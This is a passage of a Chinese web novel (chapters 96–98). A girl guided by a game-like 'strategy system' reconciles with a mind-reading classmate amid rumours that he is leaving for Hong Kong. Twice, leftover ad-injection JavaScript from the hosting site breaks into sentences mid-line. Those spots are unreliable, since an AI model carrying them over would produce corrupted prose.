只是一条系统提醒。 “你与李闻蝉(爱心)的巨轮即将沉没,快来互发消息保持吧!” 春天的气候古怪,乍暖还寒。 尤其池映雪在生理期,比平时更怕冷。在校服里穿了件浅蓝色的羊毛开衫,没精打采地趴在阳台晒太阳。 四楼的阳台,景致与三楼差不多。蓊蓊郁郁的绿树吞没遥远的花海,太阳高举空中,晒在身上也冰凉凉的。 池映雪双手握紧暖宝宝,直视日光。 系统挡在她眼前:[宿主,这样看太阳会伤到眼睛的。] [其实宿主不用这么伤心,现在……现在也还好吧。]系统干巴巴地开导,[既足够使用助听器,又不用让男主大人面临选择,他依然喜欢宿主,还煮红糖水呢。] 现在的好感度是50.1。 池映雪抬了抬唇角:“他不喜欢了。” [不呀。50好感就是……] 池映雪拧起眉,瞬间紧盯系统。系统这才炸毛:[啊啊啊!我之前忘记告诉宿主了!!] [就、就是……宿主你以前不是怀疑过,男主大人的好感度标准有问题,让我去查一查吗?]系统心虚地搓爪子,[那段时间我上司交接,因此隔了好久才得知正确的标准。但是宿主当时嫌男主好感度太高,我怕这么一说宿主更不愿意做任务了才…………没说。] 再后来它就忘了。 系统胆战心惊地调出真正的好感度等级。 [2%--友善。] [5%--认可。] 池映雪不可置信地瞪大双眼。 难怪…… 难怪她从开始就觉得李闻蝉的态度和所谓的“等级”对不上号。 在池映雪主动加李闻蝉好友的时候,他就把她当作了朋友。 在办公室里,池映雪不声不响抽出宁世延的凳子出了口恶气,那个时候李闻蝉就在旁边看着,对她笑眼盈盈地竖起大拇指。 那时他就认可了她。亏她后来还煞费苦心,自己纠结半天。 [20%--好感。] 这应该是他们第一次去长江大桥那天。李闻蝉骑车载她,一起看了那片橘子味的云海。 池映雪记得好感度在19.9的地方停留很久,而在桥上…… 李闻蝉问池映雪图什么,池映雪许愿,想要他的好感。 他真的和他说的一样。 要什么都给。 五班的教室正好在一班楼下。 今天太阳不错。 池映雪低下头,碎发垂落,被风拂到鼻尖。乱,痒。 最高档的深爱都是100不变。但按照以前的说法,80是喜欢。 现在池映雪清清楚楚看见,喜欢的好感度,是50。 视野里突然闯入一双伸出的手臂,应当也架在栏杆。 冷白色。恣意散漫地向下微垂,左手戴着没见过的深色护腕。 50。那是哪一天? 池映雪想起来了。 酒店。宴会。flutter。 电梯外的大火。也是那时,池映雪第一次能够出声,叫的是李闻蝉的名字。 “这样看南城夜晚的灯,还挺漂亮的。” 三楼的阳台,胡挚出来丢垃圾,一眼就看见李闻蝉的背影。 胡挚蹑手蹑脚地走上前,乍然按住肩超大声吓他:“哇——” 李闻蝉纹丝不动。 李闻蝉淡淡拂开胡挚:“好了,别闹。” 胡挚挠挠头,啧了一声:“你看你。又是这样。” “前段时间你和我说喜欢雪神,咱俩还在J国轻轨上聊了聊你爸家里那些陈年破事,无话不谈,这不挺好的吗?”胡挚委屈,“你以前虽然也把我们当哥们,但从来都一个人抗事,什么也不说,连酒店火灾那么大的事都不吱一声。” “有时候觉得和你关系好,又似乎很疏远。雪神来之后,蝉哥你肉眼可见变得更有人情味烟火气。现在倒好,她一走,你又变回去了。我们想帮忙都不知道怎么帮。” 李闻蝉不置可否。 眉眼染着太阳光的金黄。李闻蝉抬起头,楼层间的挡板与屋檐阻挡视线。 李闻蝉低喃:“怎么帮?越帮越遭人讨厌。” 胡挚:“你说什么?诶,你真回答了呀?大点儿声呗!” 随意伸出的手臂僵在空中。 手背上多了一滴水珠,像很小颗的珍珠,仅这一颗,在阳光下熠熠生辉。 李闻蝉紧盯着圆圆的水滴,小心翼翼地抬起手,又一次抬起眼皮。 天气晴朗。 万里无云。 “……没什么。” 李闻蝉摇摇头,低笑自嘲,转身朝楼梯间走去。 风吹过睫毛,掀开刘海,泪珠在睫羽和发丝间粘连。 过了好一会,池映雪才平复过来。细细的啜泣声消失,眼前忽然多了一张叠好的手帕纸。 池映雪不可置信地转过头,在看到沈星桥的那一刻,复杂的心情只余下惊讶。 沈星桥淡笑:“很失望?” 池映雪摇摇头,随口扯了一句谢谢,擦拭眼泪。 沈星桥皱起眉。她的嗓子似乎变得更沙哑了。 沈星桥的视线从纤细的脖颈上移,缓缓流动到眼睑。没有放开哭,眼睛也已红红的。 他别开眼,等池映雪擦干眼泪,闲聊般开口:“我拒绝连晓清了。” 连晓清就是沈星桥的那个骨灰级迷妹。说是迷妹,不如私生更贴切。 沈星桥不光义正辞严地当面拒绝了她,还表述了一直以来被困扰的心情,最后警告对方,如果再跟踪和偷拍、偷拿他的私人物品,一定会立刻报警。 “这个学期不强制要求选修课,但我报名了,还报了两个。” “没用,但我……想听。” 池映雪不知道沈星桥怎么会来找她说这些,但还是点点头。 挺好的。 沈星桥看向池映雪:“我是因为你才改变的。” “虽然这么说很厚脸皮。可是……也许每个人都有点英雄情结。”沈星桥轻轻咳嗽一声,“我在游泳馆里对你说那些话,是为了让你讨厌我,最好到势不两立的地步。这样就能保证你永远不会因为怜悯或者信任我,被我母亲……或者未来可能变得更势利的我,利用。” 但池映雪全都听见了。 他也没有必要再演戏。而且沈星桥发现自己当时的判断并不对,甚至很幼稚。 池映雪从来都不是傻子,他在用一种自以为聪明,其实很笨的方式“保护”她。 “我不知道你们为什么在冷战。你和李闻蝉。” 沈星桥看向远方。 高楼林立,天际线尚且遥远。 即使不甘。 沈星桥解开校服的一颗袖口,柔软的黑发下,习惯温柔的眸染上很隐晦的嫉妒,“但你只有和他走在一起,才会笑的那么开心。” “你曾经对我说过,不想笑的时候不用微笑。” “大部分时候,我笑得很假。”沈星桥呢喃,“………不希望你也变成那样。所以,池映雪,你要一直开心。” 研学旅行的时候,男生一层楼,女生一层楼。 沈星桥从电梯走向房间时,被某个不顺眼的家伙拦下聊过很久。 大少爷还是那个大少爷。 大少爷在池映雪面前,从来都没什么少爷脾气。 分明也看沈星桥不爽,还是能按捺性子,只为了问问她的事,为了帮她处理人际。 “好歹,你拿我当过朋友。”沈星桥轻松地抽走池映雪手里的皱纸团,“作为朋友,我觉得你可以试着相信他。更重要的是,相信你自己,肯定可以克服任何问题。” “也不是随随便便一个人,都能打败我沈星桥吧?” 说这话的时候,池映雪头一回在沈星桥脸上看见些年轻气盛的意味。 比之前生动了不少。 池映雪浅浅地勾起唇,却摇了摇头。 “你也说过第一次见我的时候,是怎样的感受。” 那么瘦,那么不引人注目。如果不是因为那张过分相似的脸,根本不会引起半丝波澜。可就算有,也仅仅会被利用。 那才是池映雪。没有攻略系统的池映雪。 没有被李闻蝉照亮的池映雪。虽然系统说不干她的事,可池映雪依旧觉得,她所有的光像是偷窃来的一样。 沈星桥:“所以说我作茧自缚啊。” 池映雪疑惑地望向他。沈星桥轻轻拨动额前的头发,眼神不自然地漂浮,温润的面庞泛起薄红:“我能说吗?” “第一次见你……” 南城图书馆那一墙的爬山虎,透进来亮绿金黄的光影,悉数洒落女孩的身上。 她文具很少,也没有自己带书,只有草稿纸和借来的工具书。清瘦,安静,垂着长长的睫毛。 沈星桥看了很久才发现她和秦书, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 和池怀元太像。 那时的池映雪营养不太好,沈星桥捡起她掉在地上的头发,偷偷揣进口袋。 与其说想要抢占先机地利用,与其说怀疑她的身世,不如说—— 如果一定要存在那个婚约。 沈星桥希望婚约的对象,会是她。 池映雪还在等着沈星桥的下文,他却在开了个头后就陷入沉默。 想必是他也不知道该安慰她什么。 池映雪低下头,试探着哑声开口:“那,如果再来一次,你还会选择在游泳馆里对我说那番话吗?” 沈星桥扪心自问,片刻后道:“……嗯。” 是呀。 池映雪心想,她也是。 她现在才理解李闻蝉受伤后瞒着她的心情。也算不上英雄主义。 大概也就是像那张作文素材上写的那样。 李闻蝉是一个金光灿灿的人。 池映雪想让他赢、获胜、快乐。 池映雪对着天空叹了口气,先回了教室。 沈星桥默默追随她背影良久,垂下头,从口袋里取出一只纸叠成的小乌龟。 早知道他那天就不在草稿纸上画乌龟了。多不吉利。 乌龟拆开,是选修课报名的表单。 微积分强化课的下一栏,写着工整的“手语”。 江畔的湿地公园前,李闻蝉在老地方停车。 头盔都懒得摘,晃到树林前吹了个口哨,几只小猫“咻”地蹿过来。 李闻蝉摸摸这只,又摸摸那只,低头安静地投喂。 好一个伤心地。 这么多年,李闻蝉没事就来公园里溜溜,喂猫休息。 小的时候在这里自作多情,以为交到了朋友;没想到长大了还是。 所以说,还是小动物好。 尤其是猫。 不爱叫,不黏人,来去自如,不怕分开。 就算听见心声,也只是喵喵,没有人的心声,那么令人伤心。 同样的地点,有人问过他为什么喜欢猫,他也差不多是这样回答的。 李闻蝉咬紧牙关,眼眶一点点染上红。 手下的柔软将他拉回现实。视线逐渐恢复清明,李闻蝉把那只暹罗抱起来,娴熟地顺毛。 暹罗猫肥肥的,显然很受用,发出咕噜咕噜的声音,还喵了几下。 李闻蝉定定注视猫很久,像看猫又不像看猫。 “喵。” 李闻蝉忽然学它的叫声,耳朵贴近。 “……你在说什么?” 晚自习前,池映雪被Stella抓去批阅一班的小测试卷。 Stella把作文判完就去开会了。工位上除了池映雪,还有五班这学期新上任的英语课代表张哲星。 张哲星的英语不算好,Stella说是他自荐上任的,为的就是锻炼自己。阅卷的时候,张哲星和池映雪二人彼此交换判,果然池映雪改出来的卷面只有113。 张哲星拿到卷子,闹了个大红脸。 池映雪没太在意,转头去批阅一班卷子。批了几张才发现右手边的试卷一直没动过。 池映雪抬起头,张哲星正在看她,好像在说着什么。 办公室里还算安静,只是二人坐得远,池映雪微微蹙眉,向前凑了些去听。 张哲星突然住了嘴,脸上的红瞬间转白。 池映雪眯起眼。头顶猝不及防笼罩一层阴影。 悄无声息。 橘香浓郁。 池映雪还没从熟悉的柑橘气味缓过神,手腕就猛地被人从身后捉住。 池映雪:“——!” 宽阔的大手像没有钥匙的锁,紧紧攥住纤细的手腕,不留一丝空隙。 李闻蝉轻而易举地把池映雪从圆凳拉起,另一只手抽走她手心里的红笔,合上笔盖。 “这位同学。” 李闻蝉轻描淡写,表情很冷淡,“如果老师回来,麻烦告诉她,李闻蝉找池映雪有点事。” 张哲星起身要拦,被李闻蝉凶狠地瞪了一眼,失魂落魄地坐下。 池映雪试着挣脱了一下,根本挣脱不开。 他这又是要干什么? 池映雪睫毛底下闪动着自己都分辨不明的光点,偷偷抬起眼睛瞥一眼李闻蝉。却在他的额角看见很明显的青筋。 这是生、生气了? 下一秒,池映雪被抓了个正着。 四目相对。李闻蝉的眼神像要吃了她。 片刻后,很轻缓地扯开一个懒懒散散的笑。 随即池映雪整个身子都腾空,被李闻蝉不容反抗地扛起来! 李闻蝉大气不喘一个,一路把池映雪扛下楼。 池映雪本来还蹬蹬脚反抗。这么多人看着,丢死人了。 李闻蝉单手扛她在肩上,另一只手轻松握住她的脚踝:“你再闹一个?” 迎面走来以前选修课的同学。池映雪苦着脸,把头埋得低低的。 脚踝努力挣脱。到底谁在闹?! 脑后似乎落下戏谑的笑意。 李闻蝉:“再乱动我现在就停下来亲你。” 手心里的脚踝果然停下,僵硬如被冻傻了的冰块。 李闻蝉磨了磨牙,冷哼一声,加快步伐将人带到了花园。 纯白长廊里,紫藤花尽数开放,如瀑布般垂落,像是秋日里结下的葡萄果实以春天的姿态绽放。 池映雪被放下来,才想挪动脚步就被李闻蝉抵在方柱前。 李闻蝉俯下身,脸凑得很近,一直看着她。 池映雪不敢对视,只去瞄别的地方。 黑卫衣沾着猫毛,校服外套一直挂在手臂上,胡乱皱成一团。 他到底想干嘛呀。 她说的……还不够………明白吗? 池映雪垂下睫毛,轻轻颤抖着。 李闻蝉舌尖抵着牙齿,眯起眼眸,将池映雪的碎发别到耳后。 他狠狠捏了一下雪白的小耳垂:“我想干嘛?” “池映雪同学,你不要这么自作多情。” 李闻蝉直起腰,拉开距离,淡淡开口,“谁规定找你就一定是我想见你?” 她也没说他想见她呀。 李闻蝉显然噎了一下,眉眼更冷,没好气地掀开手臂上的校服外套。 池映雪震惊地看向突然亮相的暹罗猫:“!!!” 这不是公园里的胖胖吗?!它—— 池映雪的眼睛在惊讶时会睁得很大。本来就圆,现在更圆,像两枚小圆月亮。 李闻蝉勾起唇,又很快压下去,沉着声道:“记好了,不是我。” “是它。” 李闻蝉别开眼,把猫塞进池映雪怀里。 “…………它说它想你了。” 怀里骤然多出柔和的温热。李闻蝉的手并没放开,池映雪还能听见胖胖细微的咕噜声。 指尖触碰软乎乎的猫毛。 池映雪抱好猫,李闻蝉还是没放开。 他的侧脸精致,好像名画最中心最浓墨重彩那一笔。最漂亮的眼睛在意料外转过来,与池映雪目光交汇。 “他还说。” “就算你不喜欢他,他也想见你。” 呼吸声在紫藤花海里放轻。 李闻蝉彻底转回脸,站得直挺,认真清冽的声线里抑着几分嘶哑:“就算你说讨厌,就算你要利用。怎么样都好。” “他就是,想你。想见你,想…”两个音节被含糊掉。 “想和你永远待在一起。” 池映雪粉唇微动。李闻蝉抬手按住她的下巴,不让她有摇头的机会。 拇指的指尖只差0.01毫米就触到唇瓣。 李闻蝉喉结滚动:“其实你猜到了吧?” “我能听到人们的心声,尤其是……你的。” 池映雪手臂收紧:“!!!” 李闻蝉挑起眉:“果然。” 诈出来了。 “就说你不会无缘无故在那里想那么多破事,恨不得从头到尾把自己抖干净。” 哪个人像她这么利用人。池映雪。笨笨的。 李闻蝉顿了顿,“我先解释一下。关于读心术,我并不是有意瞒你。” 其实他很早就想过坦白。只是就像那天在医院里说的那样。 “我在胆怯。”李闻蝉说,“我的父亲,甚至不知道这回事的蒋傅,还有其他好多人……都因为我能‘洞察人心’,把我视作怪物。” 池映雪终于挣开他的手,用力摇头。 如果他是怪物,那她又算什么? 反正也是怪物的同类。 李闻蝉的心跳加快,忍不住笑了声,很努力才控制住直接亲下去的冲动:“我知道你不会这么想。” “你说过你不怕。” 从那以后,他就不再隐瞒过了。 “我还要承认一点,不知道为什么,从某个时间开始,我忽然听不清你的心声,总是断断续续,时有时无。比如现在。” 李闻蝉住了口。 风吹过成片成簇的紫藤花,清灵的声音又一次消失。 万般细碎的声音从耳边过,都不足以让他分神留意。 李闻蝉深深呼吸:“所以,我不知道你为什么要把我推开,或许是怕我听见你真正的烦恼;或许是任务积累下的厌烦,毕竟在你拿到的剧本里,我也是主角,我的存在就是对你的不公平。” 池映雪想说,不是的。 你本来就该当主角。绝对公平、绝对够格的男主。 李闻蝉:“但我从来就不想当什么狗屁主角,不管你是否相信。” 池映雪被这句话震在原地。但转瞬就被李闻蝉接下来的话吸引了注意力:“又或许真像你说的那样,一切都是为了攻略,你和我一起经历的那些事都是假的,任务完成,我就没用了。” ——但那又怎么样呢? 李闻蝉再次捉住池映雪的手腕。 大手掐住细腕,多出来的指节,被他向下摩挲。 “没能在你最需要的时候出现,对不起。” 手指向下,向下。 陌生而略显粗粝的质感滑落池映雪的手心,细细揉过掌纹曲折的线。 “但是从遇见你开始,我不想再错过任何一种可能性。” 李闻蝉贴近池映雪的耳,字字清晰而不容置疑:“这只手,是你自己向我伸出来过的,那就别想放开。” 97. 第 97 章 繁春的地铁站行人匆匆。 池映雪一边等地铁,一边研究在齐幂工位拍到的年级名次单。 期中考试里,前十有八个都是一班学生。其余有一个二班的,还有…… 目光定格在第九名耀眼的名字上。 与其说是依靠男主角的光环,不如说在缺少那些坏运气的阻碍后,努力得到了应有的回报。 就像孟心词说的那样,学业繁忙。池映雪以此作为好借口很少下楼。但每一次路过,无意地瞥去,总能看到李闻蝉在埋头学习。 他真的很守约。说要当好学生就当了这么久,说要考来一班也是。 上次花园里,李闻蝉最后的话又萦绕在耳畔:“不管怎样,我说要追逐你的脚步,这一点绝对不会改变。” “我不信你……一丝真心都没有。” 做任务也好,不做也好。利用也好,怎样都好。 他唯独不接受分道扬镳的结果。 李闻蝉牵紧池映雪的手,以十指相扣的方法。 “我偏要朝朝暮暮。” “大不了就一直等。” “等到你真心愿意向我走来那天。” 手指间每一处缝隙都被严丝合缝地紧扣,不留给池映雪一点点逃脱的余地。 她几乎快要泄力,纵着李闻蝉的动作。手腕相蹭,却终于窥见护腕之下,他一直遮遮掩掩的——伤痕。 很锋利,像动物尖锐的齿印,还有猫爪般的抓痕。 系统说,男主角本就以一敌十、刀枪不入,就算受了伤,歇两天就好了。 池映雪细数李闻蝉戴上护腕的时间,眉眼逐渐低垂。 那天还是他的生日。 可直到最后,那句期待很久的生日快乐,也没说出口。 幸好池映雪在小群里保存了章子健分享的视频。画面中李闻蝉推门而入,胡挚躲在门后拉开礼花。无数彩条纷落,拉开黑板,下面的液晶屏显示大大的生贺。 班上的同学们再也不恐惧或排斥,都聚在一起送上蛋糕。这个方法是池映雪去年运动会时想到的,效果和想象中大差不差。也只不过少了一个人而已。 这样就,挺好的。 站台上温风呼啸而过。 系统正在整理界面,大大小小的电子框杂乱排列。池映雪扫去一眼,在男主好感度那里停留。 好感度在李闻蝉说那些话的时候已经加了回去。从50.1慢慢上升,越来越急促,重新变为99.9,小数点后的9甚至是一个循环。 池映雪大胆地幻想,但凡她朝李闻蝉走一小步,他都会向她奔来。 即使那剩下99.9步都是沼泽、泥泞、荆棘。 地铁进站。轰隆轰隆的响声伙同人群加急的脚步声一同涌来,池映雪关掉助听器,海浪般的稀薄噪音瞬间模糊。以前每当这个时候,总会有一道最清晰的声音不期而至。 系统:[……好什么呀,宿主你就这样口是心非吧。] [别以为人家看不出来。]系统嘟囔,[放着好好的豪车不坐来挤这趟地铁,不就是因为想男主大人了吗?] 可惜男主大人不在。 说起来,李闻蝉最近好像挺忙的,在老宅也很少见到人。系统倒是监测到了一些风声,但没放在心上。 池映雪闷闷不乐地反驳:“李闻蝉不也是?” 只要他想要,什么机车跑车没有,家里还有那么多司机。 可就算池映雪没有来的时候,李闻蝉的小传也清楚写着他上下学常乘地铁。 为什么呢? 车门处闪烁提醒关闭的指示灯,行人在窗门外奔驰,打断池映雪的疑惑。 人来人往,地铁停下又开,密密麻麻的人流逐渐稀疏,像大海汇入涓流飞瀑流逝,看不见任何一个清晰的面孔。 前一段时间,即使池映雪努力避开,还是会在楼道、食堂还有老宅的各个角落遇见李闻蝉。 最近李闻蝉不知在忙些什么。池映雪这才发现,即使同在一个学校甚至相邻的居所,地方那么大,如果不是有心,根本无法相遇。 手机响起熟悉的九音节提醒。 虽然没见面,但自从那天之后,李闻蝉每天都会给池映雪发消息。单方面的念叨,有的时候甚至只是拍一张图过来。午饭,晚霞,握着笔的手。 什么也不说,总有些报备的意味。 李闻蝉:「(江景图片)」 李闻蝉:「池小雪,我和胡挚在公园喂猫。」 「(图片)肥肥又想你了,你看它现在多瘦。」 画面里暹罗被一只冷白色的大手顺着毛,看上去惬意无边。 肥硕得像一摊水。 池映雪:…… 瘦。真瘦。 她把图放大。肥肥脸上的毛似乎因为日渐升温,从黑变白了些。 然而看不太清,因为都被画面中占比极大的那只手挡住,刚才的江景图也是,有李闻蝉的手不小心入镜。青筋明显,关节粉红,很引人注目。 池映雪将两张图片保存到个人收藏,照片左下角标记小小的爱心,不由轻轻勾唇。 风水大师刚走。庭院里的海棠就要移除,听说会改种橘树,再搭一个葡萄架。 天气愈发闷热,海棠已将落尽。 池映雪没有再看一眼,转身进门,路过书房时听见里面隐隐约约的谈话声。 门开了条缝。书房重地,池老爷子行事严谨,这可是前所未有的。 池映雪本想提醒,却在听到那三个字后悄然停住。 大伯池醒:“闻蝉能转过去就是最好的了。各地这几年环境都不好,更别说鱼龙混杂,盛池在HK根基不稳,闻蝉既有识人之本,也方便与唐家韩家来往。” 池老爷子:“话是这么说。那小子从小就擅长洞察人心,小唐又和他妈妈情同手足。而且正好韩家那个小子说要休息一年再去留学,闻蝉过去还有他照应。真是天时地利人和。” “但小孩子不乐意,有什么办法?” 池醒停顿了一会,道:“……以前不乐意。我看现在,也未必吧?” 池映雪的呼吸不由放轻。书房里紧接着响起老爷子无奈的叹气:“是啊,尤其是之前帮忙办手续的丁先生和国际高中的校长最近频繁联系他,我看闻蝉没准一个冲动就改主意了呢。” “过去也好,过去散散心。兴许过个三五年再回来,早就忘了和小雪这点小打小闹,压根不会不放在心上……” 第二天,池映雪来到教室,书包随意地搭在椅背。 传卷子的时候回过头,被穆雨阳用笔指了指眼睑:“你昨晚没睡好吗?” 池映雪愣了一下,穆雨阳从抽屉里翻找出手机,翻转摄像头:“喏。” 屏幕中心出现一张苍白的脸。纤细的睫毛下,熊猫眼十分浓重。 穆雨阳皱起眉。 这是没睡好还是……压根没睡啊。 穆雨阳试探道:“雪神,你昨晚和蝉哥………在一起吗?” 池映雪摇头,不明所以。穆雨阳哦了一声:“我今早来的时候看见他了,他也没睡好,我以为你俩一块,额,熬夜畅聊解开心结……什么的。” 真想问他俩是不是和好了,或者雪神打算什么时候和好,可惜蝉哥严令禁止过。 李闻蝉也没睡好? 池映雪转回身,心不在焉的折叠试卷。 昨天一整天,李闻蝉只发来了那一次消息,之前每天都是见缝插针的好几个时段。 早安。晚安。睁眼有,闭眼也有。 今天睁眼也没有。 池映雪做完卷子,自己对答案,果不其然错了好几处。 自习的下课铃还没有打,她坐在第一排,浑身难受,终于忍不住悄悄摸出手机,低下头查看企鹅。 没有。 刷新。 还是没有。 池映雪鼓起腮,头快埋到桌子下面。 甚至怀疑网络不好,打开飞行模式再关闭,重新连接流量漫游。依旧没有任何小红点。 可池映雪又在期待些什么呢。 这不就是她自己求来的么?人家虽然说了不会放手,但又不是没有自己的事情要做。 而且爷爷说的没错,小打小闹,早晚被时间消磨掉了。 池映雪自嘲地弯了弯唇,给企鹅设置了屏幕使用时间。 以后每天再想这样反复查看也得先掂量掂量,超过15分钟就锁软件。 池映雪刚设置好,就顺手点回企鹅。 锁了。 池映雪:“……” 池映雪抿唇抬头,冷不丁和讲台上坐堂的齐幂对视。 齐幂推了推眼镜,做口型:下课来我办公室一趟。 池映雪:嘤。 从办公室出来,池映雪低着脑袋走路,地面多了一双精致的小皮鞋。 池鲤鲤又改回了以前的装扮,没再模仿池映雪。公主切微卷发,欧式大双,眼尾上挑。 研学旅行后,池映雪收到一条未知号码发来的短信,只有三个字:对不起。想也知道是谁的手笔。除此之外她们就再无交集,即使在一个班也相距甚远,不知道池鲤鲤找她有什么事。 池鲤鲤神情复杂:“……哥哥回来了。” 池映雪已经很久没见到池怀元。 从家里离开的前后,池怀元一直没露面,很久后池映雪才听闻他去了国外考察项目,且十分忙碌,国内发生的事,他一概不知。 “哥哥刚才给你发了消息,你没有回复。” 池鲤鲤停顿了一下,极不情愿道,“……我知道你当时被冤枉很委屈,可哥哥真的什么都不知道。他这次回来,最不放心的就是你。” 池映雪当然回复不了,她企鹅都锁了,压根没看见消息。 池鲤鲤及时说明:“哥哥说,希望能和你一起吃一顿饭,他很想你。也不用耽误你学习,等下次月考后再见面。” 池映雪沉默片刻,点了一下头。 哥哥是她在那个家里为数不多的温暖。池映雪到现在还记得,当时妈妈秦书带池鲤鲤先行离开,是池怀元宁愿推迟会议,也要掉头回来送她上学。 如果说对于血缘亲情还有什么期待,那大概就是他了。 池鲤鲤似乎还有话要说。 “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 其实我……” 池映雪与她对视,却只见对方摇头:“没什么。没事了。” 池鲤鲤松开眉头。 一定是她想多了。哥哥可不止一次为了池映雪训斥她,他们才是亲兄妹。 所以哥哥肯定如他所说,对池映雪受的委屈一概不知,不然早就回国了。池鲤鲤眼圈染上红,但不愿被池映雪笑话,于是高傲地扬起下巴走人。 现在是大课间,休息时间很长。 目睹池鲤鲤走远后,池映雪停在楼梯口前,在回教室和下楼找万苏瑶间,选择了上天台。 天台不是每天都开放。池映雪运气不错,今天正好开着。 一样的景色,万里无云,早夏的绿树在远方充当地上的绿云。 池映雪直接靠在门背上。又无意识地掏出手机,点击企鹅,被提醒输入密码启用。 门后忽然传来一阵吵嚷声。有一串脚步不紧不慢,尤其突出。 李闻蝉:“说话就说话,干嘛拽到这儿来?” “嘿嘿,这地方不是没啥人来嘛?”胡挚狗腿地笑笑,“我可不想被旁人听到我至尊王者连小学生都没单挑过。” 胡挚的声音陡然夹得楚楚可怜:“蝉哥哥,我的好哥哥,你可得帮帮我啊!” 池映雪在门后起了一身鸡皮疙瘩。 李闻蝉精准评价:“恶心。” 章子健:“臣附议。” 李闻蝉懒洋洋地靠在墙上,双手插在兜里,漫不经心道:“手机给我。” “嗯?哦哦!” 胡挚大喜过望,随口道,“你上次不也帮我打了吗?你手机上有我的号,不过用我的也行。” 章子健帮着解释:“他手机锁了。” 胡挚:“?” “蝉哥最近用了我推荐的学习计时工具,就和番茄土豆钟差不多,不过这个惩罚更狠。你在规定的休息时间后没有及时开始新一轮学习,它会惩罚你锁24h的各种娱乐社交软件,企鹅v信都不例外。” 胡挚把手机递过去,幸灾乐祸:“还有这种好事?蝉哥你怎么回事啊,学习不积极,思想有问题!” 李闻蝉睨他一眼,不屑地把手机按黑。胡挚立马谄媚认错,末了还补充:“都是这个破软件的锅!毽子章你推荐的什么学习工具,是不是出错了?我蝉哥怎么可能没有按时学习?!” “………那你要问他。” 章子健轻飘飘道,“让你的好蝉哥不要一闲下来就去翻和某人的聊天记录,一翻就入迷,一锁就锁一天。” 池映雪轻轻捂着嘴。 噢……… 池映雪看了一眼手机里的时间。距离昨天收到消息,差不多就过了24h。 原来是这样。 指尖抵住唇瓣,有一下没一下地拨动,心也跟着轻盈地悦动起来。 砰。 背后紧贴的铁门传来轻响。 门身微微震动。 另一侧,李闻蝉嫌胡挚太吵,随意往上走了两阶,靠在门上。 对面技术一般,李闻蝉游刃有余,还忙里偷闲叼起根棒棒糖。 葡萄味。酸得不行。但他口袋里就两枚,一枚这个,一枚巧克力,更难吃。 “问你们个事。” 李闻蝉打着游戏,手指没停,似是随意聊闲,“如果这个世界就是个被设置好的游戏或小说,我们所有人都是npc,你们会怎样?” 楼道里外都安静了一瞬间。 胡挚大剌剌道:“那咋了?该咋样咋样。” “是游戏的话……下次月考能不能氪金换高分?” 李闻蝉没忍住笑出声:“做梦吧你。” 胡挚瘪了瘪嘴,又畅想起来:“小说呢,万姐倒是说过一句话。” “她说她跟着雪神看了那么多本小说,很有感触。小说里人物过了一生,电影里演的高维生物看我们的一生,那也是小说,每个人都是自己小说的主角。” “但照她这么说,那我这本小说还挺悲哀的。”胡挚叹气,“连个小学生都打不过,还被骂人机。我这本小说是谁写的?早晚找这人干一架。” 章子健笑够了,精辟总结:“按照上次那个专家在讲座上说的话,万姐是主观唯心主义,你是客观唯心主义。” 可真不愧是专家的亲戚。胡挚扯了扯嘴角:“你别和我讲这些,听不懂,脑阔疼。” 章子健看向李闻蝉:“那蝉哥你呢?” 李闻蝉还在思索胡挚刚才的话,哼道:“嗯?” “你什么主义?”章子健好奇,“唯物?唯心?” 那恐怕都不是。 屏幕播放胜利的动画特效。李闻蝉把手机还给胡挚,心里有个答案呼之欲出。 他是…… 闹钟声打断即将张开的唇。 李闻蝉挑起眉梢,眼疾手快掏出手机,点开企鹅,把早就编辑好的话粘贴过去。 解释下他一天不发消息的原因,再告诉池映雪,今天早上正式入夏了,天气真不错。 发送。 咚咚咚咚咚咚咚咚咚。 特别关心专属的提示音在门背后响起。 98. 第 98 章 李闻蝉不可置信地瞪大双眼,僵直身体回过头。 铁门关闭,他以为原本就没有开。 手指轻轻一推,却能推得动。 李闻蝉的心怦怦跳起来,连呼吸都不敢。 闭眼又睁开,猛地将门拉开。 ——一览无余的天台空空荡荡。 胡挚和章子健围过来:“怎么了?” “找什么呢?” 李闻蝉死死盯住正对面同样打开的门。 一阵燥热的风恰好吹过,铁门摇晃,不知道是风吹还是人为。 李闻蝉抓住胡挚:“你们刚才,有没有听见那个提示音?” 二人对视一眼,都直摇头。 李闻蝉垂首,看向全是他自言自语的对话界面,嘴角的笑很苦。 棒棒糖被咬碎。 像满嘴的碎玻璃,葡萄味酸得煎熬。 李闻蝉本就是年级里的风云人物。随着流言被澄清,论坛上逐渐有人开始捞他的联系方式、匿名晒出抓拍的帅照,话题度一骑绝尘。 池映雪习惯性保存图片,向下随意滑动,突然看见一条回复。 【抓紧时间看吧,机会不多了。】 有人回复:【什么意思?】 层主:【我爸是南城某top留学机构的副总,独家消息,大帅哥要去HK了。】 【这都要升高三了,他去什么HK?】 【这你就不懂了,人家有HK身份,高二就可以申本科了,几个考试过了就行,实在不行还能报下次dse。而且盛池去年给HK那几所好学校都建了超壕的宿舍楼,这是怕大少爷住不惯吧。】 【层主out了,学期初的时候我就问过,lwc是考虑过,但现在不去了。】 【你才out,我爸昨天才跟我讲的最新消息好不好?】 手机慢慢发烫。 池映雪换了一只手拿,才发现手机的温度没变,是她的指尖冰凉了。 屏幕熄灭,倒映一张茫然的脸。 尘埃落定的时刻,明明早有预感,却没想到来得这么突然。 本来就该这样的。 系统在旁边,张嘴又合上,不知道说什么。 一切都像是被设置好的剧情线,宿主和男主大人偶然因为攻略任务有了交集。当任务完成或中断,就再次走上原本各自该有的轨迹。 唯一的慰藉大概是宿主通过任务得到了和正常人差不多的听力,改变了命运。 春夏交界的时节,南城这个大火炉已经开始炎热。 池映雪把手机放进防晒服的口袋,在课桌上闷闷趴下。 耳边突然响起清晰的脚步声。只听步调就知道是他。 池映雪一动不动,任由声音渐行渐近,从她身边路过。 穆雨阳:“蝉哥你来了。” “你问的那道题我还没算完,等下。” “嗯。”李闻蝉淡淡应一声,刻意放低了音量,“不着急。” 视野一片漆黑,神志却异常清醒。 与手臂紧紧相贴的桌面传来细微的震动,高挑清健的身体靠了过来,靠在池映雪的桌沿。 穆雨阳很快解完,把草稿纸递给李闻蝉,想了想还是开口:“可惜雪神睡了。” 李闻蝉没说话。 又不过多久,他看完题目,随口道了句谢,就匆匆离去。 